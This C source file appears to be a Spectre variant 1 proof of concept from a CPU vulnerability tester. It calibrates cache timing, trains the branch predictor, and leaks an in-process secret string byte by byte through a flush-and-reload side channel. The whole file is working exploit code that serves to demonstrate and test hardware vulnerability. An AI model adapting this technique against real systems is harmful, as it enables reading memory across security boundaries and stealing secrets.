octopus/spectre.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <getopt.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

#if defined(__i386__) || defined(__amd64__)
#define CACHELINESIZE	64
static int	_has_rdtscp;
#else
#error "unsupported architecture"
#endif

#if defined(__i386__)
#define PUSH(r)		"pushl	%%e" #r "x\n"
#define POP(r)		"popl	%%e" #r "x\n"
#elif defined(__amd64__)
#define PUSH(r)		"pushq	%%r" #r "x\n"
#define POP(r)		"popq	%%r" #r "x\n"
#endif

char* 		secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";

unsigned int 	array1_size = 16;
uint8_t 	unused1[64];
uint8_t 	array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t 	unused2[64];
uint8_t 	array2[256 * 512];
uint8_t 	temp = 0; /* Used so compiler won’t optimize out victim_function() */
unsigned	cache_hit_threshold;
int		verbose;

static inline unsigned
timedaccess(volatile uint8_t *addr)
{
	uint64_t	t0, t1;
        #pragma GCC diagnostic ignored "-Wuninitialized"
	unsigned int junk = junk;

	if (_has_rdtscp) {
		t0 = __rdtscp(& junk);
		junk |= *addr;
		t1 = __rdtscp(& junk);
	} else {
		t0 = __rdtsc();
		junk |= *addr;
		t1 = __rdtsc();
	}	

	return (unsigned)(t1 - t0);
}

static void
calibrate_clock(int verbose, unsigned int *threshold)
{
	volatile char buf[2 * CACHELINESIZE];
	volatile uint8_t *bufp;
	__attribute__((unused)) volatile int junk = 0;
	int i;
	const int cnt = 1000;
	uint64_t tcache, tmem;
	unsigned cap;

	__asm__ volatile (
	    PUSH(a)
	    PUSH(b)
	    PUSH(c)
	    PUSH(d)
	    "mov	$0x80000001,%%eax\n"
	    "mov	$0,%%ecx\n"
	    "cpuid\n"
	    "mov	%%edx,%0\n"
	    POP(d)
	    POP(c)
	    POP(b)
	    POP(a)
	    : "=m" (cap)
	    /*
	     * clang sometimes stores the result using an offset relative to
	     * %esp! That won't work, because we modify %esp with push and pop.
	     * Hence, prevent them compiler from using %esp!
	     */
	    :: "esp" );

#define HAVE_RDTSCP	(1U << 27)
	if (cap & HAVE_RDTSCP) {
		if (verbose)
			printf("CPU has RDTSCP\n");
		_has_rdtscp = 1;
	} else {
		if (verbose)
			printf("WARNING: CPU has no RDTSCP support, using RDTSC.\n");
		_has_rdtscp = 0;
	}

	/* On i386 PIC we have to preserve %ebx, too */
	__asm__ volatile (
	    PUSH(a)
	    PUSH(b)
	    PUSH(c)
	    PUSH(d)
	    "mov	$0x7,%%eax\n"
	    "mov	$0,%%ecx\n"
	    "cpuid\n"
	    "mov	%%ebx, %0\n"
	    POP(d)
	    POP(c)
	    POP(b)
	    POP(a)
	    : "=m" (cap)
	    :: "esp" );

	bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) &
	    ~(CACHELINESIZE - 1)));

	junk |= *bufp;
	for (i = 0, tcache = 0; i < cnt; i++)
		tcache += timedaccess(bufp);
	tcache /= cnt;
	
	for (i = 0, tmem = 0; i < cnt; i++) {
		_mm_clflush((const void *)bufp);
		_mm_mfence();
		tmem += timedaccess(bufp);
	}
	tmem /= cnt;
	if (threshold != NULL) {
		*threshold = tcache + (tmem - tcache) / 2;
		if (*threshold == (unsigned int)tmem)
			(*threshold)--;
	}

	if (verbose) {
		printf("Access time: memory %lu, cache %lu", tmem, tcache);
		if (threshold)
			printf(" -> threshold %d", *threshold);
		printf("\n");
	}
	return;
}

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

void
leak(
	size_t		malicious_x,
	uint8_t		value[2],
	int		score[2],
	unsigned	cache_hit_threshold
	)
{
	static int		results[256];
	int 			tries, i, j, mix_i;
	unsigned int 		junk = 0;
	size_t 			training_x, x;
	register uint64_t 	time1, time2;
	volatile uint8_t 	*addr;

	for (i = 0; i < 256; i++)
		results[i] = 0;
	for (tries = 999; tries > 0; tries--) {

	/* Flush array2[256*(0..255)] from cache */
	for (i = 0; i < 256; i++)
	_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

	/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
	training_x = tries % array1_size;
	for (j = 29; j >= 0; j--) {
		_mm_clflush(&array1_size);
		for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
		//_mm_mfence(); NOT WORKING
		/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
		/* Avoid jumps in case those tip off the branch predictor */
		x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
		x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
		x = training_x ^ (x & (malicious_x ^ training_x));

		/* Call the victim! */
		victim_function(x);

	}

	/* Time reads. Order is lightly mixed up to prevent stride prediction */
	for (i = 0; i < 256; i++) {
		mix_i = ((i * 167) + 13) & 255;
		addr = & array2[mix_i * 512];
		time1 = __rdtscp(& junk); /* READ TIMER */
		junk = *addr; /* MEMORY ACCESS TO TIME */
		time2 = __rdtscp(& junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
		if (time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
		results[mix_i]++; /* cache hit - add +1 to score for this value */
	}

	/* Locate highest & second-highest results tallies in j */
	j = -1;
	for (i = 0; i < 256; i++) {
		if (j < 0 || results[i] >= results[j]) {
			j = i;
		}
	}
	if (results[j] == 3)
		break;
	}
	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
	value[0] = (uint8_t) j;
	score[0] = results[j];
	//value[1] = (uint8_t) k;
	//score[1] = results[k];
}

int 
main(int argc, char ** argv) 
{
	int		o;
	size_t 		malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
	int 		i, score[2], len = (int)strlen(secret);
  	uint8_t 	value[2];
  	unsigned 	sucesses = 0;
  	
	while ((o = getopt(argc, argv, "t:v")) != EOF) {
		switch (o) {
			case 't':
				cache_hit_threshold = atoi(optarg);
				break;
			case 'v':
				verbose++;
				break;
			default:
			usage:
				fprintf(stderr, "usage: %s [-v] "
			    "[-t threshold]\n", argv[0]);
				return 2;
		}
	}
	if (argc != optind)
		goto usage;
		
	calibrate_clock(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold);
	for (i = 0; i < (int)sizeof(array2); i++)
		array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
	if(verbose) {
		printf("Threshold is: %d\n", cache_hit_threshold);
		printf("Leaking %d bytes:\n", (int)strlen(secret));
	}

	while (--len >= 0) {
		leak(malicious_x++, value, score, cache_hit_threshold);
		if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
			sucesses++;
			fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
		} else {
			fprintf(stderr, "\033[31m?\033[0m");
		}	
	}
	fprintf(stderr, "\n");
	printf("%.0f%%\n", 100 * sucesses / (float)strlen(secret));

	_mm_mfence();
	
	return 0;
}